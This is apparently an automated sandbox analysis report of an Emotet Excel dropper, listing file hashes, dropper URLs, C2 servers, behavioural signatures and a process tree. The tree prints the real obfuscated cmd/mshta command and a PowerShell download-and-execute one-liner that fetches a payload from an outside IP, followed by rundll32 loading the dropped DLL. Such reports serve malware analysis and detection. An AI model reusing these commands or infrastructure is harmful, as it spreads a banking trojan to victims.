emotet | 5ef52f4f5deb0e152aa64b4caf544485ce1e2e6b9c492cf7d317668fb3783d4e

General

Target

2022-1-28-5cebfe367350577ffb538c70903fd827.xls
Size

47KB
MD5

5cebfe367350577ffb538c70903fd827
SHA1

aa64391e91664013f600192b910f862f31ae5c63
SHA256

5ef52f4f5deb0e152aa64b4caf544485ce1e2e6b9c492cf7d317668fb3783d4e
SHA512

70ff6ad683f185f757509b569b8d7b91db614fbd39cce5da3d814f6a6ea56b3c5ed0438cef3da03f411a5e828a013af5633a3301cc90f4f319d36b2b836d2514

Score

10^/10

emotet epoch4 banker suricata trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://91.240.118.168/vvv/ppp/fe.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://91.240.118.168/vvv/ppp/fe.png

Extracted

Family

emotet

Botnet

Epoch4

C2

51.15.4.22:443

173.214.173.220:8080

212.237.5.209:443

192.254.71.210:443

216.158.226.206:443

162.243.175.63:443

212.24.98.99:8080

58.227.42.236:80

45.118.115.99:8080

104.251.214.46:8080

185.157.82.209:8080

46.55.222.11:443

188.40.137.206:8080

81.0.236.90:443

103.75.201.2:443

129.232.188.93:443

195.154.133.20:443

159.8.59.82:8080

79.172.212.216:8080

138.185.72.26:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

CMD.EXE

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3404	2652	CMD.EXE	EXCEL.EXE

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata
Blocklisted process makes network request 5 IoCs

Processes:

mshta.exepowershell.exerundll32.exe

flow pid process

34 3596 mshta.exe
39 3776 powershell.exe
41 3776 powershell.exe
48 2484 rundll32.exe
49 2484 rundll32.exe
Downloads MZ/PE file
Loads dropped DLL 2 IoCs

Processes:

rundll32.exerundll32.exe

pid process

2284 rundll32.exe
3788 rundll32.exe
Drops file in System32 directory 1 IoCs

Processes:

rundll32.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\Ofcylinlkzmzzaju\wenp.qya rundll32.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

2648 3596 WerFault.exe mshta.exe

flow	pid	process
34	3596	mshta.exe
39	3776	powershell.exe
41	3776	powershell.exe
48	2484	rundll32.exe
49	2484	rundll32.exe

pid	process
2284	rundll32.exe
3788	rundll32.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\Ofcylinlkzmzzaju\wenp.qya	rundll32.exe

pid	pid_target	process	target process
2648	3596	WerFault.exe	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

2652 EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

Processes:

powershell.exeWerFault.exerundll32.exe

pid	process
3776	powershell.exe
3776	powershell.exe
3776	powershell.exe
2648	WerFault.exe
2648	WerFault.exe
2648	WerFault.exe
2648	WerFault.exe
2648	WerFault.exe
2648	WerFault.exe
2648	WerFault.exe
2648	WerFault.exe
2648	WerFault.exe
2648	WerFault.exe
2648	WerFault.exe
2648	WerFault.exe
2648	WerFault.exe
2648	WerFault.exe
2484	rundll32.exe
2484	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exeWerFault.exe

description pid process

Token: SeDebugPrivilege 3776 powershell.exe
Token: SeDebugPrivilege 2648 WerFault.exe

description	pid	process
Token: SeDebugPrivilege	3776	powershell.exe
Token: SeDebugPrivilege	2648	WerFault.exe

Suspicious use of SetWindowsHookEx 12 IoCs

Processes:

EXCEL.EXE

pid	process
2652	EXCEL.EXE
2652	EXCEL.EXE
2652	EXCEL.EXE
2652	EXCEL.EXE
2652	EXCEL.EXE
2652	EXCEL.EXE
2652	EXCEL.EXE
2652	EXCEL.EXE
2652	EXCEL.EXE
2652	EXCEL.EXE
2652	EXCEL.EXE
2652	EXCEL.EXE

Suspicious use of WriteProcessMemory 20 IoCs

Processes:

EXCEL.EXECMD.EXEmshta.exepowershell.execmd.exerundll32.exerundll32.exerundll32.exe

description	pid	process	target process
PID 2652 wrote to memory of 3404	2652	EXCEL.EXE	CMD.EXE
PID 2652 wrote to memory of 3404	2652	EXCEL.EXE	CMD.EXE
PID 3404 wrote to memory of 3596	3404	CMD.EXE	mshta.exe
PID 3404 wrote to memory of 3596	3404	CMD.EXE	mshta.exe
PID 3596 wrote to memory of 3776	3596	mshta.exe	powershell.exe
PID 3596 wrote to memory of 3776	3596	mshta.exe	powershell.exe
PID 3776 wrote to memory of 1536	3776	powershell.exe	cmd.exe
PID 3776 wrote to memory of 1536	3776	powershell.exe	cmd.exe
PID 1536 wrote to memory of 2284	1536	cmd.exe	rundll32.exe
PID 1536 wrote to memory of 2284	1536	cmd.exe	rundll32.exe
PID 1536 wrote to memory of 2284	1536	cmd.exe	rundll32.exe
PID 2284 wrote to memory of 3788	2284	rundll32.exe	rundll32.exe
PID 2284 wrote to memory of 3788	2284	rundll32.exe	rundll32.exe
PID 2284 wrote to memory of 3788	2284	rundll32.exe	rundll32.exe
PID 3788 wrote to memory of 1276	3788	rundll32.exe	rundll32.exe
PID 3788 wrote to memory of 1276	3788	rundll32.exe	rundll32.exe
PID 3788 wrote to memory of 1276	3788	rundll32.exe	rundll32.exe
PID 1276 wrote to memory of 2484	1276	rundll32.exe	rundll32.exe
PID 1276 wrote to memory of 2484	1276	rundll32.exe	rundll32.exe
PID 1276 wrote to memory of 2484	1276	rundll32.exe	rundll32.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\2022-1-28-5cebfe367350577ffb538c70903fd827.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2652

C:\Windows\SYSTEM32\CMD.EXE
CMD.EXE /c ms^hta http://91.2^40.118.1^68/vvv/ppp/f^e.ht^m^l
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:3404

C:\Windows\system32\mshta.exe
mshta http://91.240.118.168/vvv/ppp/fe.html
3⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:3596

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({FdrggvdRf}{FdrggvdRf}Ne{FdrggvdRf}{FdrggvdRf}w{FdrggvdRf}-Obj{FdrggvdRf}ec{FdrggvdRf}{FdrggvdRf}t N{FdrggvdRf}{FdrggvdRf}et{FdrggvdRf}.W{FdrggvdRf}{FdrggvdRf}e'.replace('{FdrggvdRf}', ''); $c4='bC{FdrggvdRf}li{FdrggvdRf}{FdrggvdRf}en{FdrggvdRf}{FdrggvdRf}t).D{FdrggvdRf}{FdrggvdRf}ow{FdrggvdRf}{FdrggvdRf}nl{FdrggvdRf}{FdrggvdRf}{FdrggvdRf}o'.replace('{FdrggvdRf}', ''); $c3='ad{FdrggvdRf}{FdrggvdRf}St{FdrggvdRf}rin{FdrggvdRf}{FdrggvdRf}g{FdrggvdRf}(''ht{FdrggvdRf}tp{FdrggvdRf}://91.240.118.168/vvv/ppp/fe.png'')'.replace('{FdrggvdRf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3776

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,BBDD
5⤵
- Suspicious use of WriteProcessMemory
PID:1536

C:\Windows\SysWow64\rundll32.exe
C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,BBDD
6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2284

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer
7⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:3788

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Ofcylinlkzmzzaju\wenp.qya",xjAprKGuLS
8⤵
- Suspicious use of WriteProcessMemory
PID:1276

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Ofcylinlkzmzzaju\wenp.qya",DllRegisterServer
9⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:2484

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 3596 -s 1660
4⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2648

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

3

T1082

Query Registry

2

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\ProgramData\QWER.dll
MD5
91889bc1858d4b5983c747be7e47fae7

SHA1
89bd70beecf51a83f0e9632e361847fddc9cf7aa

SHA256
23505b3556126c255502fe868283b2e93a0f5e051400c55d80c87a1e760c3be9

SHA512
8dacda8b1cc46454c394ed4275166db3aad8c45b9fcc4a8a4719e3613cce2ace2d3c9c59c5ede2e50e80b49ab989960e6fe3509db6d2874d017d931452d027fd

Download Submit
\ProgramData\QWER.dll
MD5
91889bc1858d4b5983c747be7e47fae7

SHA1
89bd70beecf51a83f0e9632e361847fddc9cf7aa

SHA256
23505b3556126c255502fe868283b2e93a0f5e051400c55d80c87a1e760c3be9

SHA512
8dacda8b1cc46454c394ed4275166db3aad8c45b9fcc4a8a4719e3613cce2ace2d3c9c59c5ede2e50e80b49ab989960e6fe3509db6d2874d017d931452d027fd

Download Submit
\ProgramData\QWER.dll
MD5
91889bc1858d4b5983c747be7e47fae7

SHA1
89bd70beecf51a83f0e9632e361847fddc9cf7aa

SHA256
23505b3556126c255502fe868283b2e93a0f5e051400c55d80c87a1e760c3be9

SHA512
8dacda8b1cc46454c394ed4275166db3aad8c45b9fcc4a8a4719e3613cce2ace2d3c9c59c5ede2e50e80b49ab989960e6fe3509db6d2874d017d931452d027fd

Download Submit
memory/2284-596-0x0000000001300000-0x0000000001325000-memory.dmp

Filesize
148KB

Download
memory/2484-617-0x00000000008B0000-0x00000000008D5000-memory.dmp

Filesize
148KB

Download
memory/2484-619-0x0000000000900000-0x0000000000925000-memory.dmp

Filesize
148KB

Download
memory/2484-621-0x0000000000930000-0x0000000000955000-memory.dmp

Filesize
148KB

Download
memory/2484-624-0x0000000004920000-0x0000000004945000-memory.dmp

Filesize
148KB

Download
memory/2484-626-0x0000000004A00000-0x0000000004A25000-memory.dmp

Filesize
148KB

Download
memory/2484-628-0x0000000004AE0000-0x0000000004B05000-memory.dmp

Filesize
148KB

Download
memory/2484-630-0x0000000004CC0000-0x0000000004CE5000-memory.dmp

Filesize
148KB

Download
memory/2484-632-0x0000000004D20000-0x0000000004D45000-memory.dmp

Filesize
148KB

Download
memory/2652-117-0x00007FFF06850000-0x00007FFF06860000-memory.dmp

Filesize
64KB

Download
memory/2652-121-0x00007FFF06850000-0x00007FFF06860000-memory.dmp

Filesize
64KB

Download
memory/2652-118-0x00007FFF06850000-0x00007FFF06860000-memory.dmp

Filesize
64KB

Download
memory/2652-116-0x00007FFF06850000-0x00007FFF06860000-memory.dmp

Filesize
64KB

Download
memory/2652-128-0x00007FFF03D00000-0x00007FFF03D10000-memory.dmp

Filesize
64KB

Download
memory/2652-129-0x00007FFF03D00000-0x00007FFF03D10000-memory.dmp

Filesize
64KB

Download
memory/2652-115-0x00007FFF06850000-0x00007FFF06860000-memory.dmp

Filesize
64KB

Download
memory/3776-435-0x00000201A6E36000-0x00000201A6E38000-memory.dmp

Filesize
8KB

Download
memory/3776-308-0x00000201A6E33000-0x00000201A6E35000-memory.dmp

Filesize
8KB

Download
memory/3776-307-0x00000201A6E30000-0x00000201A6E32000-memory.dmp

Filesize
8KB

Download
memory/3776-306-0x00000201BFB70000-0x00000201BFBE6000-memory.dmp

Filesize
472KB

Download
memory/3776-295-0x00000201BF620000-0x00000201BF65C000-memory.dmp

Filesize
240KB

Download
memory/3776-276-0x00000201BF470000-0x00000201BF492000-memory.dmp

Filesize
136KB

Download
memory/3788-599-0x0000000001080000-0x00000000010A5000-memory.dmp

Filesize
148KB

Download
memory/3788-612-0x0000000004DC0000-0x0000000004DE5000-memory.dmp

Filesize
148KB

Download
memory/3788-610-0x0000000004C30000-0x0000000004C55000-memory.dmp

Filesize
148KB

Download
memory/3788-608-0x0000000004BD0000-0x0000000004BF5000-memory.dmp

Filesize
148KB

Download
memory/3788-606-0x0000000004B70000-0x0000000004B95000-memory.dmp

Filesize
148KB

Download
memory/3788-604-0x0000000004A90000-0x0000000004AB5000-memory.dmp

Filesize
148KB

Download
memory/3788-601-0x0000000001250000-0x0000000001275000-memory.dmp

Filesize
148KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads